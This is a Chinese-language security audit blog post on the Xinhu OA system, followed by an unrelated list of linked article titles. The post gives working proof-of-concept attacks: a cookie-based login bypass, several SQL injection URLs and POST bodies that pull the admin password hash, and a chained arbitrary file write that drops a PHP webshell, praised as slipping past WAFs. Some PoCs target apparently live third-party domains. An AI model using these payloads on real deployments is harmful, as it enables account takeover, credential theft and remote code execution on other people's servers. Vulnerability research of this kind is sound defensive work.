title: 某oa系统的审计

date: 2018-03-07 17:18:16

tags:

信呼OA

闲着没事,java学累了来整理下以前审的一个觉得很有意思的cms,这个作者写的比较灵活,同时灵活也代表着凌乱,很多不严谨导致的很多问题,也许也是oa系统相对于一些其他类型的站点要复杂,前期架构没设计好就很容易造成诸多不便还有些问题。这个cms我觉得最有意思的就是webmainAction.php当中的一些public开头的公共方法比如publicsavevalue这样,基本都是做三件事第一有个beforexxx还有个xxx还有afterxxx会去做一些有关的事,最重要的是这些方法都是可控的,不好表述具体仔细看代码会明白,总之感觉这是一个非常灵活的cms,同时又有颇多的问题,这里逻辑层面还做的比较繁杂,仔细推敲一定还能找着不少有关逻辑层面的洞,这里简单发几个。

1.管理员登录验证绕过,可直接登录任意在线用户

在\xinhu\webmain\task\mode\modeAction.php控制器中的initAction方法,可以看到接收用户传递的adminid还有token,之后将其带入login模型的autologin方法,该方法作用是实现快速登录,具体看一下

	public function autologin($aid=0, $token='', $ism=0)
{
$baid = $this->adminid;
if($aid>0 && $token!=''){
$rs = $this->getone("`uid`='$aid' and `token`='$token' and `online`=1",'`name`');
if(!$rs)exit('illegal request2');
$this->setsession($aid, $rs['name'], $token);
$baid = $aid;
}
if($baid==0){
$uid = (int)$this->rock->cookie('mo_adminid','0');//用cookie登录
$onrs = $this->getone("`uid`=$uid and `online`=1",'`name`,`token`,`id`,`uid`');
if($onrs){
$this->setsession($uid, $onrs['name'], $onrs['token']);
$this->update("moddt='".$this->rock->now."'", $onrs['id']);
}else{
$uid = 0;
}
$baid = $uid;
}
return $baid;
}
}

看到这里$this->adminid值的获取

	public function initRock()
{
$this->jm = c('jm', true);
$this->adminid = (int)$this->session('adminid',0);
$this->adminname= $this->session('adminname');
$this->adminuser= $this->session('adminuser');
}

看到默认值为0

这里进入第二个if,发现这里仅仅验证cookie,得到一个uid,带入数据库查询这个uid,uid存在并且用户在线状态为1就进入if($onrs) 当中,同时设置session,并且成功登录。

利用方式(官网demo):?m=mode&d=task&a=init&adminid=0&token=11

首先设置Cookie: xinhu_mo_adminid=1;然后访问该控制器

访问前台:成功登录!

2.前台登录接口注入

登陆接口处存在注入,无需登录,可获取管理员hash、token等重要凭据

首先\webmain\task\api\loginAction.php控制器当中的checkAction方法

{
public function checkAction()
{
$adminuser = str_replace(' ','',$this->rock->jm->base64decode($this->post('user')));
$adminpass = $this->rock->jm->base64decode($this->post('pass'));
$arr = m('login')->start($adminuser, $adminpass);
if(is_array($arr)){
$arrs = array(
'uid' => $arr['uid'],
'name' => $arr['name'],
'user' => $arr['user'],
'ranking' => $arr['ranking'],
'deptname' => $arr['deptname'],
'deptallname' => $arr['deptallname'],
'face' => $arr['face'],
'apptx' => $arr['apptx'],
'token' => $arr['token'],
'iskq' => (int)m('userinfo')->getmou('iskq', $arr['uid']), //判断是否需要考勤
'title' => getconfig('apptitle'),
'weblogo' => getconfig('weblogo')
); $uid = $arr['uid'];
$name = $arr['name'];
$user = $arr['user'];
$token = $arr['token'];
m('login')->setsession($uid, $name, $token, $user);
$this->showreturn($arrs);
}else{
$this->showreturn('', $arr, 201);
}
}

是做一个登录验证的api,其中调用的start()模型是一个具体的的登录验证,其中接受5个用户可控的参数

public function start($user, $pass, $cfrom='', $devices='')
{
$uid = 0;
$cfrom = $this->rock->request('cfrom', $cfrom);
$token = $this->rock->request('token');
$device= $this->rock->request('device', $devices);
$ip = $this->rock->request('ip', $this->rock->ip);
$web = $this->rock->request('web', $this->rock->web);

中间登录过程不详细解释,其中会有一个日志记录的动作,在start方法中看到末尾

		m('log')->addlog(''.$cfrom.'登录', '['.$posts.']'.$loginx.''.$logins.'', array(
'optid' => $uid,
'optname' => $name,
'ip' => $ip,
'web' => $web,
'device' => $device
));

这一步将用户输入写入日志,其中过滤了单引号还有一些特殊的关键字,这里可以绕过,具体payload如下:

http://localhost/xinhu/api.php?m=login&a=check&cfrom=pc&user=hello&pass=123&ip=testip&web==(substr((seleselect*ct+pass+from+xinhu_admin+where+id+=1),1,1)="e"%26%26sleep(5))--+&device=testdevice

查询密码第一位如果为e则延时5秒

类似这样的注入应该还有一大把,懒得看,他\ 没有过滤,稍微有点心应该都晓得怎么利用

3.where处注入

没什么可分析的。poc

http://localhost/xinhu/?d=reim&m=chat&uid=1 or 1&type=group&winobj=group_14

4.where处注入

http://localhost/xinhu/?&m=kaoqinj&a=kqjcmddel&d=main&ajaxbool=true

post:id=1) and sleep(4

	public function kqjcmddelAjax()
{
$id = $this->post('id');
m('kqjcmd')->delete("`id` in ($id)");
showreturn();
}

5.注入

http://localhost/xinhu/api.php?a=subscribe&m=asynrun&id=1 and sleep(10) &uid&receid&recename&asynkey=2b557b98f1dc3911727681ec3f38f78c

6.注入

http://www.mianfeix.com/api.php?&m=indexreim&a=ldata

post:loaddt=MScgYW5kIDAgdW5pb24gc2VsZWN0IGlkLHVzZXIsMSwxLDEsbnVsbCxwYXNzLDEsMSBmcm9tIHhpbmh1X2FkbWluIw==sleep&type=history

7.自定义setval

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php

	public function setsaveAjax()
{
$this->option->setval('email_sendhost@-1', $this->post('sendhost'));
$this->option->setval('email_sendport@-1', $this->post('sendport'));
$this->option->setval('email_recehost@-1', $this->post('recehost'));
$this->option->setval('email_sendsecure@-1', $this->post('sendsecure'));
$this->option->setval('email_sysname@-1', $this->post('sysname'));
$this->option->setval('email_sysuser@-1', $this->post('sysuser'));
$this->option->setval('email_receyumi@-1', $this->post('receyumi'));
$syspass = $this->post('syspass');
if(!isempt($syspass)){
$this->option->setval('email_syspass@-1', $this->jm->encrypt($syspass));
}
$this->backmsg();
}

另一个自定义val,比上面那个方便

public function savecolunmsAjax()
{
$num = $this->post('num');
$modeid = (int)$this->post('modeid');
$str = $this->post('str');
$this->option->setval($num.'@'.(-1*$modeid-1000), $str,'模块列定义');
$path = m('mode')->createlistpage($modeid);
$msg = 'ok';
if($path=='')$msg='已保存,但无法从新生成列表页,自定义列将不能生效';
echo $msg;
}

http://localhost/xinhu/index.php?&m=flow&a=savecolunms&ajaxbool=true&d=main

post:num=path&str=/test/a

这不算漏洞,但是可以利用这个做一些事情。

8.输出显示val

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\task\api\loginAction.php

	public function checkewmAction()
{
$randkey = $this->get('randkey'); $val = $this->option->getval($randkey);
echo $val;
//echo $val;exit();
//echo $val;
$data['val'] = $val;
//echo $randkey;exit();
if(isempt($randkey))$this->showreturn($data);
if($val>'0'){
$dbs = m('admin');
$urs = $dbs->getone("`id`='$val' and `status`=1",'`name`,`user`,`face`,`pass`');
if(!$urs){
$val = '-1';
}else{
$data['user'] = $urs['user'];
$data['face'] = $dbs->getface($urs['face']);
$data['pass'] = md5($urs['pass']);
}
$this->option->delete("`num`='$randkey'");
}
$data['val'] = $val;
$this->showreturn($data);
}

http://localhost/xinhu/index.php?&m=email&a=setsave&d=system&ajaxbool=true

post:sendhost=1

http://localhost/xinhu/api.php?&m=login&a=checkewm&randkey=email_sendhost

9.输出显示val

获取服务段加密数据

poc:

http://www.realfoodco.cn/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

post:storeafteraction=savebeforecog&emailpass=admin&id=1


public function savebeforecog($table, $cans)
{
$emailpass = $this->post('emailpass');
if(!isempt($emailpass)){
$cans['emailpass'] = $this->jm->encrypt($emailpass);
}
return array(
'rows' => $cans
);
}

写文件GETSHELL

这是一个很有意思的漏洞,由于该框架的实现相当灵活,这里我是利用了一些组合调用来完成的上面的7、8、9都是我为了这一步做的一些铺垫。这里姿势比较多我只介绍了一种,有幸看到文章的师傅也可以试一试

首先看问题所在的函数,C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\webmainAction.php

public function exceldown($arr)
{
$fields = explode(',', $this->post('excelfields','',1));
$header = explode(',', $this->post('excelheader','',1));
$title = $this->post('exceltitle','',1);
$rows = $arr['rows'];
$exceltype = $this->post('exceltype','xls'); //保存文件类型
$headArr = array();
for($i=0; $i<count($fields); $i++){
$headArr[$fields[$i]] = $header[$i];
}
$url = c('html')->execltable($title, $headArr, $rows, $exceltype);
$this->returnjson(array(
'url' => $url,
'totalCount'=> $arr['totalCount'],
'downCount' => count($rows)
));
}

这里看到默认上传接受的文件后缀是xls,这个后缀传递给c('html')->execltable模型,看看这个模型的实现

/**
* 创建excel导出表格
*/
public function execltable($title, $headArr, $rows, $lx='')
{
if($lx=='')$lx='xls';
$borst = '.5pt';
$sty = 'style="white-space:nowrap;border:'.$borst.' solid #000000;font-size:12px;"';
$s = '<html><head><meta charset="utf-8"><title>'.$title.'</title></head><body>';
$s .= '<table border="0" style="border-collapse:collapse;">';
$hlen = 1;
$s1='<tr height="30"><td '.$sty.'>序号</td>';
foreach($headArr as $na){
$hlen++;
$s1.='<td '.$sty.'>'.$na.'</td>';
}
$s1.='</tr>';
$s.='<tr height="40"><td '.$sty.' colspan="'.$hlen.'">'.$title.'</td></tr>';
$s.=$s1;
foreach($rows as $k=>$rs){
$s.='<tr height="26">';
$s.='<td align="center" '.$sty.'>'.($k+1).'</td>';
foreach($headArr as $kf=>$na){
$val = '';
if(isset($rs[$kf]))$val=$rs[$kf];
$s.='<td '.$sty.'>'.$val.'</td>';
}
$s.='</tr>';
}
$s.='</table>'; $s.='</body></html>'; $mkdir = ''.UPDIR.'/logs/'.date('Y-m').''; if(!contain(strtolower(PHP_OS),'win')){
$title = c('pingyin')->get($title, 1);//linux要用拼音,不然会乱码
} $filename = ''.$title.'_'.date('d_His').'.'.$lx.'';
$filename = str_replace('/','',$filename);
$url = ''.$mkdir.'/'.$filename.'';
$bo = $this->rock->createtxt(iconv('utf-8','gb2312',$url), $s);
return $url;
}

文件名自始至终没有一个检测,利用这里我们可以写入任意文件,但是有几点需要注意,首先需要写进文件的变量是$title, $headArr,$arr,前两个是用户post后然后加密一次的变量,arr变量是调用该方法传入的一个数组参数。我这里考虑使用前者两个变量写shell,因为这样我的数据包是一次加密的这样比较隐蔽,但是这个加密函数是内部实现的,我该如何将我的字符串使用网站加密再返回给我?找到这么一个函数

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php

public function savebeforecog($table, $cans)
{ $emailpass = $this->post('emailpass');
if(!isempt($emailpass)){
$cans['emailpass'] = $this->jm->encrypt($emailpass);
}
return array(
'rows' => $cans
);
}

post('emailpass')后返回回去,有了这个函数,还有漏洞,就差一把枪,也就是该如何调用。

由于这个框架直接路由调用的方法都是以Ajax或者Action结尾的方法,这两个方法都不能如此直接路由调用,这里就找到一些公共方法。首先是加密这一块,我调用publicstoreAjax()方法,其中会接受参数进行下一步的操作

访问

http://localhost/xinhu/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

post数据:storeafteraction=savebeforecog&emailpass=&id=1

这样生成加密字符串

拿到加密字符串后开始正式写shell

访问:http://localhost/xinhu/index.php?&a=publicsavevalue&ajaxbool=true

post数据:fieldsafteraction=exceldown&exceltype=php&excelheader=hx0oh0kt0nnl0lt0tv0ok0nxp0ll0kn0nxh0nvv0nxx0tn0ho0nno0tk0ot0tu0nnv0ll0tn0th0nnh0lh0nxl0lx0nnv0lx0nvn0tp0nnv0hx0nvv0kv0kh03

写文件

生成成功,验证一下

由于我写入的字符串post的时候就是加密一次的,所以这里自带过滤,可以过一些waf等防护

某oa系统的审计的更多相关文章

  1. OA系统配置文件

    第一章 web.xml配置文件解读 1. web.xml文件解读 lemon OA系统的核心配置文件都放在spring目录下的具有applicationContext的前缀文件.Classpath后有 ...

  2. 整合了一个功能强大完善的OA系统源码,php全开源 界面漂亮美观

    整合了一个功能强大完善的OA系统源码,php全开源界面漂亮美观.需要的同学联系Q:930948049

  3. “PMS-基础权限管理系统”实施某谱OA系统经验总结

    “PMS-基础权限管理系统”介绍 "PMS-基础权限管理系统"是我一直想做的一个产品,融合多年开发及维护管理系统的经验,参考了很多系统,精心研制而成. 可以做为毕业设计参考,新手学 ...

  4. OA系统如何使用考勤机数据

    通达OA系统使用考勤机数据目前有两种方法可以实现:一种是通过进行二次开发,将通达OA系统与考勤机结合起来使用:另一种是通过将考勤机的数据导出再导入OA系统中.进行二次开发的话,需要和定制开发工程师联系 ...

  5. OA系统权限管理设计(转载)

    不论什么系统都离不开权限的管理,有一个好的权限管理模块,不仅使我们的系统操作自如,管理方便,也为系统加入亮点. l         不同职责的人员,对于系统操作的权限应该是不同的.优秀的业务系统,这是 ...

  6. 《华油能源OA系统数据同步和扩展的设计与实现_张宇峰》阅读笔记

    为什么我会找到这篇论文? 华油能源集团拥有多套信息化软件系统,每个用户需要登录操作多个软件系统,记住多个系统的用户名.密码,需要不停的切换到每个系统,查看是否有需要进行的工作:管理员更是疲于每天对各个 ...

  7. php随笔5-thinkphp OA系统 人力资源管理

    最近闲来无事,自己尝试通过thinkphp3.1.3框架开发一套自己的OA系统,目前已完成了人力资源管理部分的内容,遇到并解决了几个问题. 1.由于刚开始不太熟悉thinkphp的框架,花费了一些功夫 ...

  8. 性能优化实战案例——助力某移动OA系统

    前言 最近连续接触了4个OA系统,均存在着不同的性能问题,本文记述对某移动OA系统的优化全过程,让看官们对数据库优化流程有一个了解,并揭开隐式转换这无情杀手的神秘面纱. 本文使用的工具:SQL专家云平 ...

  9. OA系统在实际应用中可发挥出的协同应用价值

    OA软件引进国内已有二十多年,早期的OA软件更多地是扮演一个"文秘"的角色,只进行一些基本的行政事务处理,创造的价值不大.但随着OA软件理论和技术的日趋成熟,OA软件摆脱了原有的局 ...

随机推荐

  1. ios 页面滑动到底部无法往上滚的问题

    简单说明:当h5端使用vue-infinite-scroll 插件 做滚动加载                如:页面布局  <header></header> <div ...

  2. 006.kubernets之Deployment简单部署

    一 Deployment相对于RC的优势 RS与Deployment主要用于替代RC.RS的全称为Replica Set.相对于RC,RS与Deployment的优势如下: RC只支持基于等式的sel ...

  3. 那些不懂hystrix的秘密

    一 前言 springcloud系列文章已经出到hystrix,中间知识追寻者跑去学了其它知识,回来感觉spingcloud系列出的也不少了:需要完全理解这篇文章对于初学者需要有一定的基础知识,如果看 ...

  4. Django框架初体验

    前言 从今天开始学习测试开发知识,并会把每一次学习的过程和成果记录到博客,由于我也没怎么接触过python相关的开发框架,所以前期应该是艰难的,但是我相信努力就会有收获,如果你和我一样是个小白,那我们 ...

  5. Nginx作为负载均衡服务介绍

    ​ GSLB ​ SLB ​ 四层负载均衡 ​ 七层负载均衡 ​ 四层负载均衡 四层负载均衡工作在OSI模型的传输层,由于在传输层,只有TCP/UDP协议,这两种协议中除了包含源IP.目标IP以外,还 ...

  6. Java入门 - 语言基础 - 04.对象和类

    原文地址:http://www.work100.net/training/java-object-class.html 更多教程:光束云 - 免费课程 对象和类 序号 文内章节 视频 1 概述 2 J ...

  7. Java入门 - 高级教程 - 05.网络编程

    原文地址:http://www.work100.net/training/java-networking.html 更多教程:光束云 - 免费课程 网络编程 序号 文内章节 视频 1 概述 2 Soc ...

  8. 针对MySQL的MVCC多版本并发控制的一些总结

    MVCC MVCC细节太多,我直接备忘一下总结: MVCC就是通过事务的ID与行数据的版本(修改事务的ID)进行比较(通过redo log可以回溯版本)得出哪些版本的行数据可见和不可见而实现的事务隔离 ...

  9. CTF中关于XXE(XML外部实体注入)题目两道

    题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...

  10. Spring Cloud学习之-什么是Spring Cloud?

    SpringCloud 什么是微服务? 要想学习微服务,首先需要知道什么是微服务?为什么会有微服务?相信看完架构的发展史读者就会明白 架构发展史 单体应用架构 如图所示:将所有的模块,所有内容(页面. ...